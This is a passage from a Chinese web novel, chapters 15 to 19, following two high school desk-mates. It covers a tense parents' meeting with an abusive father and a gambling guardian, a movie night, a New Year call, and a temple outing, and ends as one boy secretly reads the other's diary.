……真不知道陈劲是怎么联系上他的。
“俞越,有钱吗?”男人随着难闻的烟味逼近,一说话,嘴里黑黄相间的牙齿就露了出来,“我来参加你的家长会,总得给点薪酬吧。”
俞越很讨厌他身上的味道,每次闻到都觉得有些喘不过气,眉头紧紧蹙了起来,“不需要你参加,你可以走。”
“来都来了
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,你座位在哪儿?你住校对吧,带我去你宿舍看看。”男人并不管他,径直走向他们班教室的后门。
俞越有些生气,好在他将钱都收在宿舍和身上,没有放在教室,一边拦他,一边暗暗警告:“学校教室里都有监控。”
陈劲发觉了后门口的动静,大步走了过来,看看俞越,又看看这个嘴里叼着烟屁股的男人,说:“您是俞越的家长吧?”
男人笑着点头,自我介绍道:“我是俞越他爸,赵天强。”
俞越:“老师,他不是我爸,您让他走吧。”
许青翰带着许延过来的时候,正巧听见这句。
他不动声色地打量了一番这个和俞越一点儿也不像的男人。
他记得俞越说过,他是被遗弃的孩子,后来才被奶奶捡到,他从未听俞越提起过父亲或是母亲。
最后赵天强还是坐进了教室,毕竟来都来了,陈劲也不好真的让他走,只是让他丢掉了烟屁股,打算待会儿好好跟他聊聊。
许延也坐进了教室里许青翰的位置,穿着一身西装,和邋里邋遢的男人坐在一起,表情极其嫌弃,但又没办法更换座位。
赵天强刚坐下,便将俞越的书包翻了一通,全都是书本作业,一点儿他想要的都没翻到。
俞越就站在教室窗外注视着他,许青翰站在他的身边,没有离开。
很快,陈劲开始了家长会的内容。
赵天强小动作不断,想跟许延说点什么,许延不想理他,一直被他骚扰,烦得不行。
窗外,俞越忽然笑了一下。
赵天强这人固然可恶,但看见同样可恶的许延被他骚扰得烦不胜烦,忽然觉得还挺解气的。
果然,恶人还得恶人磨。
许青翰听见笑声看他一眼,试探着问:“这个人是?”
俞越没有对他隐瞒:“我奶奶的儿子。”
“当年奶奶觉得自己年纪太大了,把我的户口落在了他的名下,他是我法律意义上的养父,但没养过我一天。”
“他在外面染上了赌博,经常到家里偷钱,奶奶去世之后还来家里偷过一次,那次之后我很久没见过他了,不知道安静哥是怎么把他从犄角旮旯里找来的……”
俞越没有离开也是怕赵天强有什么小动作,得一直监视着,偷他的东西也就算了,可别偷其他同学的东西,尤其是许青翰的。
许是因为发现俞越一直在外面盯着,许是看见了教室前面的摄像头,赵天强没敢太放肆。
家长会就快要结束的时候,孙旺和凌梅梅回来了。
孙旺有些疑惑俞越为什么呆在这里,朝教室里望了望,没忍住爆出一句脏话:“操,赵天强怎么来了?!”
俞越从他手里拿走两片薯片,分了许青翰一片,“应该是安静哥叫来的,我也很疑惑。”
凌梅梅也看见了坐在俞越位置上的男人,疑惑地问:“赵天强是谁?”
孙旺:“小俞他奶奶的儿子。当初小俞奶奶去世,那丫趁奶奶下葬的时候偷偷回家,把家里值钱的东西都偷走了,还有小俞的单车,害得小俞初三上下学都不方便。”
许青翰陡然想起那天从海边回来,他问俞越多久没骑单车了,俞越有零有整地回答了他。
原来,背后还有这样一段故事。
许青翰的眉头随之蹙了起来。
这是初三发生的事情,按照他之前的推测,穿越者俞越是高一才到这个世界的,一时间,他不知道是自己的推测出了错,还是俞越的演技太好。
没给他太多思考的时间,家长会已经走到了尾声。
部分家长陆陆续续从教室内走了出来,部分家长还在与陈劲沟通交流。
许青翰看见许延迫不及待起身,大步走向了讲台。
怕他跟陈劲说些有的没的,许青翰快步绕到前门,走进了教室。
俞越见状也跟了过去,打算到教室里把赵天强赶走。
许延已经走到了陈劲身前,道出了来意:“陈老师,能不能给许青翰换个座?”
一簇火苗在许青翰心底陡然炸开,像是被浇了汽油,火势燎原。
陈劲正想问问缘由,便见一道身影冲了过来。
“我就和俞越坐,没可能换,你少多管闲事。”
16. 第 16 章
许延整个人都怔住了,脸上写满了不可置信。
许青翰从没有用过这种语气跟他说话。
虽然偶尔会在家里和张可蓉他们发生一点争执,但面对他这个父亲,许青翰一直是低眉顺眼的,哪怕他对他动手,他也不会还手或恶语相向。
因为如果不是因为他吵着非得要那个模型,前妻也不会在出差途中改签,遭遇那场空难。
那个家也不会散。
如今,他已经组建了新的家庭,能给他这个罪人一席之地已是极大的恩赐,平时的吃穿也从没有少了他的,他本就应该知足懂事。
这一刻,听见许青翰这样对自己说话,许延除了不可置信,更多的是被忤逆的愤怒。
本就因为被他那个同学满身烟臭味的家长骚扰了一整个家长会心情不好,如今听见这句,更是宛若火上浇油。
“我多管闲事?你的事我还管不了了?!”
教室里不少家长的视线投了过来。
陈劲察觉到了不对,赶忙当起了和事佬:“哎,好了好了,有话好好说,有话好好说。”
他看向许延,问:“许青翰爸爸,你为什么突然想给许青翰换座位呢?许青翰和他同桌关系挺好的,学习上也有共同进步,突然换位置对两个孩子都不好。”
许延到底给班主任一点面子,也不想在公众场合真闹得太难看,深呼吸一口,回道:“我听说他同桌有心脏病,你看他这脾气,要是哪天跟他同桌起了什么矛盾,把人气得心脏病发了,可负不起这个责。”
这并不是他想给许青翰换座位的主要原因,但是他唯一能摆到明面上说的借口。
主要还是因为对他那个同桌家长的不满以及对许青翰的掌控。
他没处发泄对赵天强的气,只能发泄在许青翰身上了。
这些年来,他也习惯将气撒在许青翰身上,许青翰永远照单全收。
这次却出了意外。
失去掌控的感觉很不好。
不知不觉,许青翰已经长得比他还高了,手里也攒了一笔不少的钱,很快就要成年,去到很远的北方大学,像一只翅膀长硬的鸟儿,挣出笼子,再也不受他的控制。
陈劲也有些无奈。
工作这些年,俞越不是他遇见的第一个身体不好的学生,甚至还发生过一个学生在教室里忽然猝死的情况,所以他常将身体健康挂在嘴边。
学生家长会有这样的顾虑也正常。
但,他很不赞同这种不和孩子好好商量就擅作主张的行为。
这是家长的问题。
陈劲给了许青翰和他身后的俞越一个眼神,对他们说:“你们先去我办公室,闲着没事帮我养的植被浇浇水。我跟你们家长好好聊聊。”
“老师,我不换座位,俞越坐哪我坐哪。”许青翰固执地站在原地。
陈劲点点头,又给了他一个放心的眼神。
最后还是俞越将他牵走了。
孙旺和凌梅梅没有跟上去,留在了教室帮他们“偷听”。
因为是在周末,就只有他们班开家长会,办公室里并没有其他老师。
刚走进办公室,许青翰便关上了门。
俞越后知后觉自己一直牵着许青翰的手,将手松了开来。
“俞越。”许青翰忽然唤了一声他的名字。
“嗯?”
“对不起。”许青翰背靠着门,身形笼在了阴翳里面。
“有什么好说对不起的,讨厌的人的话我都当耳旁风。”俞越真没觉得生气。
他本就心脏不好,要是轻易就被气到还活不活了?几瓶速效救心丸都不够他吃的。
甚至…因为许青翰坚定不移要和他当同桌,他特开心。
不过他还是挺担心许青翰的,怕他被许延气到,怕他回去又要被许延欺负。
想到这里,俞越没忍住唠叨起来:“今晚回去他该不会对你动手吧?你可一定要保护好自己啊,不要站着当沙包啊…实在不行你就报警……”
许青翰忽然直起身,走到了他的身前。
俞越下意识噤了声。
“你真的没有生气吗?”
俞越扯出一个无奈的笑,没想到他还在纠结这个。
想了想,他攥住许青翰的手腕,将他的手掌覆上了自己胸口心脏的位置。
“我生气的话心跳会加速得厉害,你自己感受一下。”
心跳是控制不了也不会说谎的。
感受着掌心均匀的跳动,许青翰终于放下了心。
很快俞越便将他的手摘了下来,怕他再摸下去心跳真的会加速。
他转过身,看向陈劲的位置,“安静哥说让咱们照顾一下他的绿植……就这些仙人球吗?”
许青翰环视一圈,发现除了仙人球也没其他绿植了,“应该是。”
“仙人球有什么好照顾的,生命力那么顽强。”俞越摸了摸一颗大仙人球上长出的一颗小仙人球。
挺有意思的,这么大一个仙人球上就长出了这么一颗小小的球,跟他指甲盖一样大,特别Q。
小仙人球的刺是软的,磨在指腹上还挺舒服,他没忍住多磨了会儿。
忽然,手指一空。
小仙人球竟然被他从大仙人球上“搓”下来了。
“我靠。”俞越眼中闪过惊慌。
许青翰也看见了,没忍住笑了一声。
俞越瞪圆眼睛看向他,“不许笑。这咋办啊……安静哥会不会每天盯着这个小仙人球看,发现被我‘杀’了,不会想杀了我吧。”
许青翰将小仙人球埋进花盆旁边空旷的土中,说:“还能活。不过待会儿还是跟班主任说一声吧。”
“真的能活吗?”俞越没有养仙人球的经验。
许青翰:“嗯,很好活。”
俞越还是挺信任许青翰的,稍稍放下了心。
两人给所有仙人球都浇了一点水,耐心等待起来,终于等到陈劲从教室回来。
陈劲回来的时候发现他们无聊到用他桌上的草稿纸玩儿起了五子棋,凑上去问:“谁赢得多?”
俞越指了指许青翰。
这人脑子比他好使,他甘拜下风。
许青翰没了继续下棋的心思,将笔攥在手中,复读机般又重述了之前的那句:“老师,我不换座位。”
陈劲无奈点头,“本来也没准备换。现在的座位可是我精心调整了那么久才定下的,布好的阵哪能轻易更变。”
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两人齐齐松了口气。
俞越迫不及待又问:“赵天强走了吗?老师,他真不是我爸,您从哪儿把他找来的?讨债的有时候都联系不上他。”
陈劲尴尬地咳嗽一声,“学籍系统有他的信息,我打了上面的电话过去,他就接了,我跟他说了家长会的事,他很积极地说会来参加。”
“他已经走了,还是许青翰爸爸主动将他送出去的。他还说想去你宿舍瞧瞧,我看他有点不对劲,糊弄过去了。”
俞越没忍住翘了下唇角,看得出来许延很讨厌赵天强,应该会好好将他“送”出学校。
“这事儿怪我,不知道你父…他是那样的人,还想着趁着家长会好好聊聊你的学习呢,”陈劲拍了拍俞越的肩膀,“这次期中考试不错,进步了,好好保持,一本肯定没问题。”
俞越保持酒窝存在,乖巧点头,没有接话,敷衍了过去。
陈劲又拍了拍许青翰的肩膀,宽慰道:“你父亲的话也不要太放在心上,他就是太担心你了,我已经跟他沟通好了,你和俞越相处得很好,让他放心。”
许青翰也学着俞越那样点了点头,敷衍了过去,不打算跟老师解释太多。
许延对外还是装得像模像样的,也不是什么坏事,至少在外能牵制住他。
俞越趁机跟陈劲说了小仙人球的事。
陈劲毫不在意,给出了和许青翰一样的回答:“放心,能活。”
因为这事儿,接下来的一段时间里,俞越每隔几天都要来办公室看一看这个小仙人球。
可能因为是已经到了冬天吧,扎根有些慢,但小仙人球并没有枯萎,是好消息。
许青翰说来年春天回暖应该就顺利生根了。
来年春天,就是他们的最后一个学期了。
-
家长会的当天晚上,俞越第一次给许青翰打去电话。
小小的按键手机音质并不好,但听见许青翰正常的声音,俞越悬着的心终于稍稍落下。
“许青翰,你还好吗?”
“挺好,刚洗了澡。”
“没有被欺负吧?”
“没,他原本是想动手的,被我攥住了胳膊,他力气没我大,估计怕真打起来打不过我,骂骂咧咧了几句气走了。年底了,他工作比较忙,身上挂彩影响不好。”许青翰没有对他隐瞒。
他渐渐习惯了好的坏的都告诉给俞越。
因为是在俞越的影响下,好的坏的他都开始从容应对。
“那就好,早该这样反击的,”俞越在手机这边点了点头,“你就像那个…大象。”
“什么?”许青翰不知道自己怎么忽然从鸟变成了象。
俞越:“小时候被绳子拴住,挣脱不了,长大之后明明有了挣脱绳子的力量,却还是被拴住了。”
这个故事倒是并不陌生,也挺典型的。
确实与他的经历贴合。
后来在大学,许青翰知晓了这个故事所折射的心理学效应——“习得性无助”。
指个体在长期遭受无法预测或控制的负面事件后,逐渐失去改变或掌控情况的信心,产生一种无助感。*
踩着十七岁的尾巴,他从无助感中挣脱,以为就此坦途。
17. 第 17 章
家长会后,班上的座位还是进行了一点小小的调整,但并没有影响到俞越和许青翰。
孙旺和凌梅梅依旧坐在他们前座,四个人没有被拆散。
月底的运动会给了期中考试和家长会带来的紧绷感一点放松。
俞越照例没有参加任何项目,在操场上闲逛当后勤,享受冬初最后一点温暖的阳光。
孙旺给班上拿了不少牌子,许青翰虽比不上他这个体育生,但胜在身体素质不错,每个参加的项目都拿到了中上的名次。
运动会的奖金是直接给到个人的,孙旺和许青翰都得到了一点。
眼见着就快要到元旦,孙旺手里晃动着奖金,提议道:“元旦你们都有空吗?咱们要不一起出去搓一顿?”
俞越看向许青翰,许青翰也下意识看向他。
“行。”
凌梅梅家里管得要严格一点,但还是说:“我努力争取一下。”
-
元旦前一天晚上的自习,教室里闹哄哄的,根本静不下来,都期待着新一年的开始和不算太长的假期。
“安静——”陈劲拍了拍多媒体的铁皮,故意沉着张脸,“本来还想晚上给你们放电影的,看样子你们都不想看。”
教室瞬间乖巧安静下来,许多双眼睛巴巴儿地望向他。
陈劲的表情也绷不住了,笑了起来,对班长说:“统计一下大家想看的类型,选一部电影,十分钟后看。”
班长立刻行动起来,将电影的各种类型罗列出来,在班上传了一遍,收集不同类型后的“正”字。
俞越和许青翰坐在第一排,收到表格的时候还没什么人填,俞越在“喜剧”后面添了两笔,一笔他的,一笔许青翰的。
最后表格收集完,班长宣布了最多人想看的类型——“恐怖”,压倒性地胜出了其他所有类型。
日复一日的枯燥学习生活确实需要一点刺激的闯入。
俞越抬起手捂住胸口,小声对许青翰说:“这我可能看不了。”
许青翰也有些担心俞越的身体,“要不和他们说一下……”
俞越却摇了摇头,不想因为自己扫全班的兴,他知会了许青翰一声,偷偷溜出了教室。
几分钟后,他又溜了回来,对许青翰说:“我去找了安静哥,他答应把他的平板借我看其他电影,你要不要和我一起看?”
许青翰不假思索地同意了,“去哪儿看?”
俞越:“旁边的空教室。”
一中扩建翻新之后,空出了不少教室,里面会有一些闲置桌椅,就是有点儿脏,需要擦一下。
为了省事,许青翰就只擦干净了一张桌子和两把椅子。
陈劲的平板很新,是他上大学的女儿用奖学金给他买的,平时用来网上阅卷很方便,偶尔在上面打打电子麻将,自动连接了学校的wifi。
俞越挑了好久,也没挑中一部合适的电影,求助起了许青翰:“你有什么想看的吗?”
许青翰将擦干净的椅子搬到他身边,示意他坐下,从他手里接过平板,捣鼓了片刻。
俞越坐在椅子上耐心等待着,拆开了一包孙旺送的薯片。
孙旺没跟他们一起来这里,说凌梅梅可能会被吓到,要陪着她。俞越一脸了然。
他们最终选择了日版的《咒怨》,据说恐怖指数很高,不知道会不会有同学被吓哭。
不多久,平板被支起,稳稳放到了身前的桌子上面,播放起了电影的片头。
俞越抬手触了一下,看见上方的电影名字,念了出来:“《星际穿越》?”
许青翰嗯一声,“一部很好看的电影。”
“你看过?”
“看过。想再看一遍。”
“好。”俞越将手里的薯片分给了他。
电影很长,近3个小时。
俞越最开始还看得有些漫不经心,胡思乱想着什么。
因为他觉得许青翰特地挑选这个名字的电影,目的可能不太单纯,像是在试探他什么。
虽然为了达成目的,他故意给许青翰看了自己的日记本,但穿越的事他可不打算跟许青翰说太多。
但看着看着,俞越便彻底沉浸了进去。
电影讲述的是不久后的未来世界,地球环境恶劣,已经不再宜居,一群宇航员穿越宇宙寻找新家园的故事。
他在里面看见了许青翰之前说的墨菲定律;看见了时间的拉长压缩,但不可倒流;看见了熵增;看见了黑洞;看见了高纬度的“我们”……
一遍下来,那些物理学有关的知识并不能够看得很懂,但俞越没有问许青翰。
他看懂了“爱能穿越时间和空间”,觉得已经足够了。
这部电影实在太长,看到一半的时候陈劲忽然找了过来,见他们还没看完,又离开了。
《咒怨》片长就只有90分钟左右,差不多是《星际穿越》的一半,看完之后教室里的同学还得继续自习完剩下的时间。
陈劲离开后,俞越笑眯眯地冲许青翰竖起大拇指,夸道:“幸好你选了这个时间长的电影,不然还得回去继续上自习。”
算算时间,看完晚自习差不多刚好结束。
许青翰看他一眼,没说什么,按下了播放键。
“There is no way to help us.(我们没有希望了)”
影片90多分钟的时候,地球上,弥留之际的老教授坦白了真相,A计划用引力技术带全人类星际移民只是幌子,引力方程几乎是无解的,真正实行的只有B计划:携带胚胎去外星球重建人类文明,放弃地球现存的人类。他们都是被放弃的存在。
“Do not go gentle……”*
不要温和地……
走进那个良夜。
俞越看得心底有些难受。
真的没有希望了吗?
影片才播放一半,还有一半,他猜应该会有反转。
事实也确实如此。
A计划的引力方程需要黑洞 “卡冈图雅” 内部的奇点数据来破解,这几乎是不可能得到的。但在库珀将生的希望给予队友,自己坠入黑洞后,在五维空间内通过引力将数据传递给了女儿墨菲,墨菲成功破解了方程,实现了A计划。*
影片的最后,土星空间站的石碑上刻着熟悉的、老教授弥留之际没念完的那句。
俞越特地暂停了一下,仔细阅读了一遍。
“Do not go gentle into that good night,(不要温和地走进那个良夜)
Old age should burn and rave at close of day;(落幕之时的岁月应该尽情燃烧咆哮)
Rage, rage against the dying of the light.(怒斥,怒斥光明的消逝)”
……
狄兰·托马斯的诗,贯穿了整部电影。
在这之后不算太长的时间里,动摇着他的决定。
-
影片彻底看完的时候,平板电量已经告急,最后一节晚自习也快结束了。
俞越关掉平板,和许青翰一起离开了空教室。
空教室的灯被熄灭,门被轻轻合上,不知道下次再被打开会是什么时候。
一众被灰尘笼罩的桌椅中间,他们坐过的那副像是被撒了崭新的光屑,拥有特别的色彩,但终究会被日复一日的尘土重覆。
空教室在另一幢教学楼,回去得走一截路。
今晚的残月不亮,校园内的路灯很亮,将他们的影子拉长又缩短,像时间,虽然不可逆转,但可以拉得很长,也可以缩得很短。
就比如这半年的时间,俞越感觉过得好快好快。
十二月底的夜风刺骨,他拢了拢衣服,将半张脸都缩进了衣领里面,一只手抄着口袋,一只手抱着平板。
许青翰走在他的身边,将手里的垃圾丢进路边的大垃圾桶内,冷不丁唤了一声他的名字。
“俞越。”
“嗯?”
“你说,真的可以穿越吗?”
“这不得问问你这个未来的物理学家?”俞越的声音闷在衣领里面。
这不是他们第一次聊这个话题了。
他能感觉到许青翰的试探,但他确实没办法回答他。
也是不能回答的。
如果不是因为许青翰太难接近,他也不会出此下策。<
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虽然计划进展得特别顺利,但……
离开前,必须得好好善后才行。
许青翰没再说话。
他也不知道自己想从俞越那里得到什么答案。
就是…就是新一年要到了。
时间走得太快,离分别又近了一步。
这还是他第一次不那么期望新年的到来。
-
将平板还给陈劲,两人刚到座位坐下,便响起了晚自习下课的铃声。
大多学生都已经提前收拾好了书包,背起就朝教室外冲去,冲向期待已久的新的一年。
俞越和许青翰倒是不紧不慢。
前桌的孙旺和凌梅梅也没急着走。
孙旺笑着说:“你们刚才不在,林妹妹被恐怖片吓哭了。”
凌梅梅瞪他一眼,在他脚上踩了一下。
孙旺一边讨饶,一边说:“后天见啊!”
“好。”
约好了的,元旦的聚餐,定在1月2日。
“不知道什么时候才下雪。”凌梅梅喃喃。
溟市偏南,冬天会下雪,但没那么早,下不了几场就到春天了。
俞越不喜欢雪,也不喜欢冬天,因为太冷了。
晚上回到宿舍,因为明天是元旦不用上课,他将该洗的衣服都洗了,又将宿舍简单打扫了一番,毕竟新的一年要到了,总得为“辞旧迎新”做点什么。
就是做完这一切喘得有些厉害。
他坐在凳子上缓了会儿,看了眼时间,发现已经十一点多了。
洗漱完,他迫不及待钻进被窝里面,将自己裹成一个粽子,给许青翰发去了一条短信:【在干嘛?好无聊】
许青翰回得很快:【洗完了澡,随便看会书】
俞越:【什么书?】
许青翰:【时间简史】
俞越听说过,但没看过,问:【好看吗?】
许青翰:【嗯。你不一定会喜欢】
俞越决定下次去图书馆的时候借一本看看。
俞越:【打算什么时候睡觉?】
许青翰:【都行】
俞越当即给他打了电话过去。
许青翰很快接通。
俞越解释说:“咱们短信发得太快了,短信费好贵,打电话聊会儿吧……打字手也冷。”
许青翰嗯一声,电话那头响起了书页被翻动的声音,“明天我不去学校自习,要去奶奶那边。”
俞越:“好。你奶奶对你怎么样?”
“还行。不过我不怎么喜欢她。”
“嗯?”
“她思想有点封建,当年我妈生下我之后,她一直逼着她当家庭主妇,因为我爸那时候正是事业上升期。但我妈的工作也很好,没同意,她直接回老家了,不再帮忙照顾刚出生的我,对小时候的我和我妈也很冷淡。”
“后来我学习成绩很好,拿了不少奖,她觉得脸上有光,对我好多了。”
“不过她现在更喜欢许轻舟,因为我总是臭着张脸,性格不好。”
俞越知道许轻舟是许青翰后妈生的同父异母的弟弟。
后妈张可蓉还想效仿许青翰的人生,早早给许轻舟报了竞赛班和各种辅导班,盼着他将来也能通过竞赛直接保送进top大学。
许青翰对此不置可否,俞越毫不客气地点评:“东施效颦。”
“那后天见了。”俞越说。
“嗯,早餐想吃什么?我给你带。”
“煎饼果子!”
许青翰家附近有味道很棒的早餐铺子,有一回周末来学校自习,他买了份煎饼果子没来得及吃,给俞越香迷糊了,像小狗似的望着他,最后他掰了一半给他。
后来许青翰经常周末给俞越带煎饼果子。
俞越会把钱给他,许青翰则偷偷少报了几块钱。
“好。”
两人又聊了点有的没的,忽然,许青翰听见窗外有烟花声响起。
与此同时,手机里也响起了俞越的声音:“新年快乐,许青翰。”
原来是时间已经到了新一年的0点。
许青翰条件反射回道:“新年快乐。”
想了想,觉得有些寡淡,又添了句:“新年快乐,小俞。”
18.第 18 章
这还是许青翰第一次唤这个称呼,俞越有些惊讶:“怎么忽然叫我小名?”
手机那头安静了两秒,隐约能够听见一点烟花炸开的声响,应当是有人在小区附近放烟花。
许青翰的声音将烟花声完全覆住:“就是听孙旺天天这么叫,习惯了,顺嘴。”
俞越哦一声,在被窝里扭了一下身体,笑着分享说:“我是和我奶奶一个姓的,她叫俞淑。她说希望我能一辈子开开心心,所以给我取了俞越这个名字。”
俞越。愉悦。
听着就很开心。
电话那头的许青翰也控制不住翘起的唇角。
和俞越成为朋友之后,他也变得愉悦起来。
新一年的时间开始缓慢流淌,像只被倒放的沙漏。
因为许青翰上午就要出发去奶奶家,俞越没有和他聊太久,新一年的第一天,罕见地睡了个不错的觉。
元旦这天他一个人到教室写了会儿作业,又看了会儿孙旺上周帮他从市图书馆借的书,玩了几局手机上的俄罗斯方块。
临近中午,他出了学校,本想去之前和许青翰一起吃的那家面馆吃一碗面,走到店门口的时候才发现门上了锁,挂上了元旦暂停营业一天的牌子。
俞越在心底叹了口气,随便买了点吃的,回了宿舍午休。
没想到一觉睡到了傍晚。
晚上又失眠了。
第二天四人在学校门口集合的时候,俞越的黑眼圈尤为明显。
他本就皮肤偏白,还瘦,一点点黑眼圈就特别突出。
许青翰今天来的很早,带着煎饼果子敲响了他宿舍的门,集合时间是在上午十点,他吃完又睡了会儿,否则状态会更差。
孙旺打趣说:“昨晚做贼去了?”
俞越打了个哈欠,“昨天不小心睡了一下午,晚上有点失眠。”
假期不小心睡满一整个午后也挺正常的。
凌梅梅说:“待会地铁上补会儿觉。”
因为是在假期,今天地铁上人特别多,有溟市的本地人,也有趁着假期来溟市旅游的外地游客,车厢都被塞满。
终于在一站停下的时候,被孙旺眼疾手快地抢到了一个位置。
他飞快招手,让俞越过来坐。
俞越下意识看了眼凌梅梅。
潜意识里他是男生,座位应该让给女孩子,而且是孙旺抢到的位置,他可不想影响好兄弟的桃花。
凌梅梅挑了下眉,“看我干什么,我又没有黑眼圈,快坐快坐。”
俞越只得乖乖走过去坐下。
车厢摇摇晃晃,俞越当真靠着睡着了。
醒来是因为感觉到许青翰轻推了一下他的肩膀,唤他的名字。
“小俞,快到了。”
俞越迷迷糊糊睁开眼,醒了会儿神,听着车厢内的播报站起了身。
直到走出地铁,走进准备中午吃饭的商场,经过一面材质光滑的玻璃反射,他才猛地顿住脚步。
“?”
俞越抬起手,从自己的头发上面摘下了一个粉色的小抓夹。
他看看掌心的夹子,又看看身边努力憋笑的三个人,怎么还明白不了发生了什么。
肯定是在地铁里他睡着的时候捣的鬼。
他就这么戴着这个粉色的小夹子走了一路。
“谁干的?”俞越捏起夹子,眯起眼睛,视线在三人身上一一逡巡。
夹子大概率是凌梅梅的,但应该不是凌梅梅干的,很有可能是孙旺。
许青翰是个老实人,应该不会……
孙旺和凌梅梅齐齐笑着跑开,留下了许青翰一个人。
许青翰则一点儿也不辩解,坦诚道:“是我。”
俞越:“?”
看你最老实没怀疑,没想到……
时间倒流回十几分钟前。
俞越靠着睡着了,凌梅梅忽然从口袋里掏出几枚未拆封的小抓夹,不记得什么时候买的了,也不记得在棉服口袋里放了多久,很快她便和孙旺光明正大地密谋起了什么。
许青翰站在距离俞越更近的地方,见孙旺拿着一枚粉色的夹子靠近,视线对上的瞬间,孙旺鬼使神差地将夹子塞给了他,挤眉弄眼地示意他偷偷夹在睡着的俞越头上。
以前在班上,也会有人趁关系好的同学睡觉的时候画胡子什么的,许青翰见过,花了0秒思忖该不该这样做,反应过来的时候夹子已经被他夹在了俞越柔软的头发上面。
俞越对此毫无察觉,就这么一直戴着粉色的小夹子到了现在。
俞越直接将手里的夹子夹在了许青翰的头上。
许青翰没躲,看着眼前佯装生气的某人,冷不丁想起了元宝,他的小狗。
俞越即便是生气,只要扯动唇角,脸颊还是会出现若隐若现的两个酒窝,有点像闹脾气的元宝,尾巴垂得低低的,但还是会小幅度地轻轻摇晃。
不待他想再多,俞越便束住了他的双手负在身后,像警察押犯人那样押着他往前走,不许他摘下头顶的夹子。
许青翰:“……”
许青翰想了想还是配合了,毕竟俞越也戴着走了一路。
直到抵达火锅店,俞越才松开对他的桎梏,许青翰迫不及待摘下了头上的发夹。
凌梅梅大大方方道:“送给你们了。”
俞越:“……我们也用不上啊。”
最后夹子被俞越报复般塞进了许青翰的外套口袋里面。
中午吃的是鸳鸯锅,四个人围着一张桌子,吃得身上暖烘烘的。
快吃完的时候,临时讨论起了下午的去处。
好不容易出来一趟,只吃一顿饭就回去也太亏了。
凌梅梅还是借口说许青翰这个竞赛保送的学神元旦假期组织了学习交流小组才顺利出来的。
讨论着讨论着,凌梅梅托着下巴说道:“好想去看雪啊,北方都下了好多场雪了。”
这给了孙旺一点灵感,提议道:“要不下午咱们去寺庙拜拜吧!山上好像下了一点雪,上面风景也不错,还能拜拜好运。”
溟市寺庙不多,最大的寺在高高的山上,里面有文殊殿,据说每年高考前,一中的老师都会去山上帮高考生们祈福。
除了祈学业,还有其他殿可以祈财运、桃花、健康……
印象中,俞越曾经去过那里,但已经是很久以前的事了。
那时候小小的孩子被奶奶背在大大的箩筐里面,一路背上了山顶,山顶的寺内有一口大缸,据说摸一摸缸的外壁,再摸一摸身上不舒服的地方,就能好起来。
奶奶的手掌粗糙,染上了缸壁肃穆的冷意,但温柔又虔诚。
小小的心跳被她的掌心抚过,出奇的宁静。
“我觉得可以,”凌梅梅的视线落到俞越和许青翰身上,“你们想去吗?”
许青翰下意识看向俞越。
他去哪儿都行。
不过俞越如果不想去,他也不去了。
俞越缓缓点头,“去吧。不过我不一定能爬到山顶,如果爬不上去,就在下面等你们。”
“行。”
离开火锅店,四人打车去了山脚,山路车子不好通行,因为不是什么出名的寺庙,山上并没有搭建缆车之类的东西,只能靠腿走上去。
月初祈福的人不少,但大多会在1号就来,2号人没那么多。
俞越爬了会儿台阶就不行了,撑了会儿,心跳加速得厉害,气喘吁吁地靠着一棵树说:“你们上去吧,我在这里等你们。”
海拔越高温度也会越低,已经隐隐能见到一点雪了,可以想到山顶会是怎样一副银装素裹的景象。
孙旺和凌梅梅对视一眼,又齐齐看向许青翰。
许青
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翰说:“你们俩上去吧,我和小俞在这里等你们。”
他对看雪没什么执念,也对参拜寺庙没什么兴趣。
两人也没说什么,继续往山顶上爬了,毕竟许青翰跟俞越更熟一些,留下来陪着他也好,三个人上去反而可能会有点尴尬,俞越一个人呆在这里也会无聊。
陆陆续续有人上山下山,台阶就那么宽,俞越和许青翰只能不断给人让行。
不多久,许青翰提议说:“我们往下走一点吧,下面有个亭子可以休息。”
俞越抬手摸了摸心脏的位置,努力控制着呼吸。
像是怕他逞强,许青翰忽然走到了他身前下一级的台阶上,膝盖微屈,“我背你下去。”
俞越愣怔了好久,在许青翰转眸的催促下终于还是配合了。
这边的台阶上没有积雪,许青翰走得很稳,背也踏实。
俞越搂着他的脖子,呼吸呵在他的耳边,与他呵出的白雾融在了一起,这个角度刚好能够看见被黑框眼镜压住的那颗小痣。
其实许青翰不戴眼镜的样子也很好看,尤其是眼角这颗小痣画龙点睛般的一笔。
亭子就在下面不远的地方,没多久就到了,俞越却觉得这段时间被拉得好长。
他的心跳并未因为休息得到多少减缓。
直到在亭子里坐了良久,才稍稍平复下来。
他微靠着亭内的柱子,注视着上下延伸的石阶发了好久的呆。
他爬不上去。
他只能止步于此了。
怕影响俞越休息,许青翰并没有找他说话,因为爬山,俞越说话都有些喘。
他也没有看手机,而是看向与俞越相反的方向,与石阶相背,另一侧广阔、缩小的溟市一隅,隐隐能看见一角碧蓝的海水。
“许青翰。”他忽然听见俞越唤自己的名字。
“嗯?”他与他对上视线。
俞越说:“来都来了,你要不要也上去拜拜,祛除霉运,保佑新的一年顺顺利利。”
“我不信这些。”许青翰的声音淡淡的。
“呸呸呸,”俞越赶紧捂住他的嘴,“在山脚下说这些会被听见的,不要亵渎神明,快在心里道个歉。”
掌中的唇角微微翘起。
俞越竟然信这些?
他的穿越到底是物理学还是玄学?
因为对物理学和玄学的思忖,他没有听俞越的在心里道一声歉。
或许他应该听俞越的。
-
元旦后就要开始准备期末考试了,时间像是被按下了加速键,走得飞快,一眨眼便到了期末考试的前一天。
按照惯例,考场会被打乱,每个班的教室都要清空、排列。
期末结束就开始放寒假了,俞越准备趁机将所有的书本资料都搬回宿舍。
往年都是孙旺帮他一起搬的,今年又多了个许青翰。
因为俞越忽然被陈劲叫去了办公室,孙旺和许青翰打算一口气帮他都搬回去。
分工的途中,许青翰猝不及防看见了一本熟悉的日记本。
他知道他不应该窥探这种隐私。
但……也不是第一次看了。
一件罪行和两件罪行,好像也没什么差。
他只是…只是想知道俞越还有多久离开,想有个心理准备。
在孙旺毫不知情的情况下,许青翰偷偷将日记本混入了自己负责搬运的这堆书本中间,又在抵达宿舍之后对孙旺说:“你先回去拿其他的书吧,我收拾一下这些。”
孙旺没想太多,直接离开了。
许青翰将宿舍的门关上,快速从书中抽出日记本,心跳陡然加速起来。
他下意识从后往前快速翻开,翻到了有字的最后一篇,想先看一眼末章。
没想到这页写着——
【攻略进度:50%】
19.第 19 章
许青翰又往前翻了翻,从那篇“时间不多了,必须得赶紧攻略许青翰才行,我有了一个绝妙的计划”开始,一路看到“攻略进度:50%”。
这几个月的时间里,俞越写日记写得没那么频繁了,甚至11月就只写了一篇,其中也没有任何与那个“绝妙的计划”有关的内容。
但无一例外,篇篇都与他有关。
